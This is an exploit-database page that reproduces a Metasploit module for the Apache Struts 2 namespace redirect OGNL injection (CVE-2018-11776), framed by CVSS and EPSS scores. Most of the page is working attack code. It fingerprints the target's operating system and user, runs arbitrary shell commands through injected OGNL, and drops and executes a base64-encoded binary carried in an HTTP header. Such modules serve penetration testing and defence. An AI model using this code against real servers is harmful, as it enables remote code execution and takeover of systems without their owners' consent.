Lucene search

K
exploitdbMetasploitEDB-ID:45367
HistorySep 10, 2018 - 12:00 a.m.

Apache Struts 2 - Namespace Redirect OGNL Injection (Metasploit)

2018-09-1000:00:00
Metasploit
www.exploit-db.com
101

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSS3

8.1

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.5

Confidence

High

EPSS

0.975

Percentile

100.0%

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  # Eschewing CmdStager for now, since the use of '\' and ';' are killing me
  #include Msf::Exploit::CmdStager   # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts 2 Namespace Redirect OGNL Injection',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability in Apache Struts
        version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
        via an endpoint that makes use of a redirect action.

        Native payloads will be converted to executables and dropped in the
        server's temp dir. If this fails, try a cmd/* payload, which won't
        have to write to the disk.
      },
      #TODO: Is that second paragraph above still accurate?
      'Author'         => [
        'Man Yue Mo', # Discovery
        'hook-s3c',   # PoC
        'asoto-r7',   # Metasploit module
        'wvu'         # Metasploit module
      ],
      'References'     => [
        ['CVE', '2018-11776'],
        ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
        ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
        ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
      ],
      'Privileged'     => false,
      'Targets'        => [
        [
          'Automatic detection', {
            'Platform'   => %w{ unix windows linux },
            'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          },
        ],
        [
          'Windows', {
            'Platform'   => %w{ windows },
            'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          },
        ],
        [
          'Linux', {
            'Platform'       => %w{ unix linux },
            'Arch'           => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
          },
        ],
      ],
      'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
          OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
          OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
        ]
      )
      register_advanced_options(
        [
          OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
          OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
          OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
        ]
      )
  end

  def check
    # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
    ognl = "#_memberAccess['allowStaticMethodAccess']"

    resp = send_struts_request(ognl)

    # If vulnerable, the server should return an HTTP 302 (Redirect)
    #   and the 'Location' header should contain either 'true' or 'false'
    if resp && resp.headers['Location']
      output = resp.headers['Location']
      vprint_status("Redirected to:  #{output}")
      if (output.include? '/true/')
        print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
        datastore['ENABLE_STATIC'] = false
        CheckCode::Vulnerable
      elsif (output.include? '/false/')
        print_status("Target requires enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'true'")
        datastore['ENABLE_STATIC'] = true
        CheckCode::Vulnerable
      else
        CheckCode::Safe
      end
    elsif resp && resp.code==400
      # METHOD 2: Generate two random numbers, ask the target to add them together.
      #   If it does, it's vulnerable.
      a = rand(10000)
      b = rand(10000)
      c = a+b

      ognl = "#{a}+#{b}"

      resp = send_struts_request(ognl)

      if resp.headers['Location'].include? c.to_s
        vprint_status("Redirected to:  #{resp.headers['Location']}")
        print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
        datastore['ENABLE_STATIC'] = false
        CheckCode::Vulnerable
      else
        CheckCode::Safe
      end
    end
  end

  def exploit
    case payload.arch.first
    when ARCH_CMD
      resp = execute_command(payload.encoded)
    else
      resp = send_payload()
    end
  end

  def encode_ognl(ognl)
    # Check and fail if the command contains the follow bad characters:
    #   ';' seems to terminates the OGNL statement
    #   '/' causes the target to return an HTTP/400 error
    #   '\' causes the target to return an HTTP/400 error (sometimes?)
    #   '\r' ends the GET request prematurely
    #   '\n' ends the GET request prematurely

    # TODO: Make sure the following line is uncommented
    bad_chars = %w[; \\ \r \n]    # and maybe '/'
    bad_chars.each do |c|
      if ognl.include? c
        print_error("Bad OGNL request: #{ognl}")
        fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
      end
    end

    # The following list of characters *must* be encoded or ORNL will asplode
    encodable_chars = { "%": "%25",       # Always do this one first.  :-)
                        " ": "%20",
                        "\"":"%22",
                        "#": "%23",
                        "'": "%27",
                        "<": "%3c",
                        ">": "%3e",
                        "?": "%3f",
                        "^": "%5e",
                        "`": "%60",
                        "{": "%7b",
                        "|": "%7c",
                        "}": "%7d",
                       #"\/":"%2f",       # Don't do this.  Just leave it front-slashes in as normal.
                       #";": "%3b",       # Doesn't work.  Anyone have a cool idea for a workaround?
                       #"\\":"%5c",       # Doesn't work.  Anyone have a cool idea for a workaround?
                       #"\\":"%5c%5c",    # Doesn't work.  Anyone have a cool idea for a workaround?
                      }

    encodable_chars.each do |k,v|
     #ognl.gsub!(k,v)                     # TypeError wrong argument type Symbol (expected Regexp)
      ognl.gsub!("#{k}","#{v}")
    end
    return ognl
  end

  def send_struts_request(ognl, payload: nil)
=begin  #badchar-checking code
    pre = ognl
=end

    ognl = "${#{ognl}}"
    vprint_status("Submitted OGNL: #{ognl}")
    ognl = encode_ognl(ognl)

    headers = {'Keep-Alive': 'timeout=5, max=1000'}

    if payload
      vprint_status("Embedding payload of #{payload.length} bytes")
      headers[datastore['HEADER']] = payload
    end

    # TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
    uri = "/#{ognl}/#{datastore['ACTION']}"

    resp = send_request_cgi(
     #'encode'  => true,     # this fails to encode '\', which is a problem for me
      'uri'     => uri,
      'method'  => datastore['HTTPMethod'],
      'headers' => headers
    )

    if resp && resp.code == 404
      fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
    end

=begin  #badchar-checking code
    print_status("Response code: #{resp.code}")
    #print_status("Response recv: BODY '#{resp.body}'") if resp.body
    if resp.headers['Location']
      print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
      if resp.headers['Location'].split('/')[1] == pre[1..-2]
        print_good("GOT 'EM!")
      else
        print_error("                       #{pre[1..-2]}")
      end
    end
=end

    resp
  end

  def profile_target
    # Use OGNL to extract properties from the Java environment

    properties = { 'os.name': nil,          # e.g. 'Linux'
                   'os.arch': nil,          # e.g. 'amd64'
                   'os.version': nil,       # e.g. '4.4.0-112-generic'
                   'user.name': nil,        # e.g. 'root'
                   #'user.home': nil,       # e.g. '/root' (didn't work in testing)
                   'user.language': nil,    # e.g. 'en'
                   #'java.io.tmpdir': nil,  # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
                   }

    ognl = ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|('#{rand_text_alpha(2)}')|
    properties.each do |k,v|
      ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
    end
    ognl = ognl[0...-4]

    r = send_struts_request(ognl)

    if r.code == 400
      fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
    elsif r.headers['Location']
      # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
      #   Extract the OGNL output from the Location path, and strip the two random chars
      s = r.headers['Location'].split('/')[1][2..-1]

      if s.nil?
        # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
        #   But we didn't get any output, so we can't profile the target.  Abort.
        return nil
      end

      # Confirm that all fields were returned, and non include extra (:) delimiters
      #   If the OGNL fails, we might get a partial result back, in which case, we'll abort.
      if s.count(':') > properties.length
        print_error("Failed to profile target.  Response from server: #{r.to_s}")
        fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
      end

      # Separate the colon-delimited properties and store in the 'properties' hash
      s = s.split(':')
      i = 0
      properties.each do |k,v|
        properties[k] = s[i]
        i += 1
      end

      print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
        " #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
      return properties
    else
      print_error("Failed to profile target.  Response from server: #{r.to_s}")
      fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
    end
  end

  def execute_command(cmd_input, opts={})
    # Semicolons appear to be a bad character in OGNL.  cmdstager doesn't understand that.
    if cmd_input.include? ';'
      print_warning("WARNING: Command contains bad characters: semicolons (;).")
    end

    begin
      properties = profile_target
      os = properties[:'os.name'].downcase
    rescue
      vprint_warning("Target profiling was unable to determine operating system")
      os = ''
      os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
      os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'
      os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'
    end

    if (os.include? 'linux') || (os.include? 'nix')
      cmd = "{'sh','-c','#{cmd_input}'}"
    elsif os.include? 'win'
      cmd = "{'cmd.exe','/c','#{cmd_input}'}"
    else
      vprint_error("Failed to detect target OS.  Attempting to execute command directly")
      cmd = cmd_input
    end

    # The following OGNL will run arbitrary commands on Windows and Linux
    #   targets, as well as returning STDOUT and STDERR.  In my testing,
    #   on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.

    vprint_status("Executing: #{cmd}")

    ognl =  ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
    ognl << %q|(#p.redirectErrorStream(true)).|
    ognl << %q|(#process=#p.start()).|
    ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
    ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
    ognl << %q|(#r.flush())|

    r = send_struts_request(ognl)

    if r && r.code == 200
      print_good("Command executed:\n#{r.body}")
    elsif r
      if r.body.length == 0
        print_status("Payload sent, but no output provided from server.")
      elsif r.body.length > 0
        print_error("Failed to run command.  Response from server: #{r.to_s}")
      end
    end
  end

  def send_payload
    # Probe for the target OS and architecture
    begin
      properties = profile_target
      os = properties[:'os.name'].downcase
    rescue
      vprint_warning("Target profiling was unable to determine operating system")
      os = ''
      os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
      os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'
      os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'
    end

    data_header = datastore['HEADER']
    if data_header.empty?
      fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
    end

    random_filename = datastore['TEMPFILE']

    # d = data stream from HTTP header
    # f = path to temp file
    # s = stream/handle to temp file
    ognl  = ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|(#[email protected]@getRequest().getHeader('#{data_header}')).|
    ognl << %Q|(#[email protected]@createTempFile('#{random_filename}','tmp')).|
    ognl << %q|(#f.setExecutable(true)).|
    ognl << %q|(#f.deleteOnExit()).|
    ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
    ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
    ognl << %q|(#s.write(#d)).|
    ognl << %q|(#s.close()).|
    ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
    ognl << %q|(#p.start()).|
    ognl << %q|(#f.delete()).|

    success_string = rand_text_alpha(4)
    ognl << %Q|('#{success_string}')|

    exe = [generate_payload_exe].pack("m").delete("\n")
    r = send_struts_request(ognl, payload: exe)

    if r && r.headers && r.headers['Location'].split('/')[1] == success_string
      print_good("Payload successfully dropped and executed.")
    elsif r && r.headers['Location']
      vprint_error("RESPONSE: " + r.headers['Location'])
      fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
    elsif r && r.code == 400
      fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
    end
  end
end

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSS3

8.1

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.5

Confidence

High

EPSS

0.975

Percentile

100.0%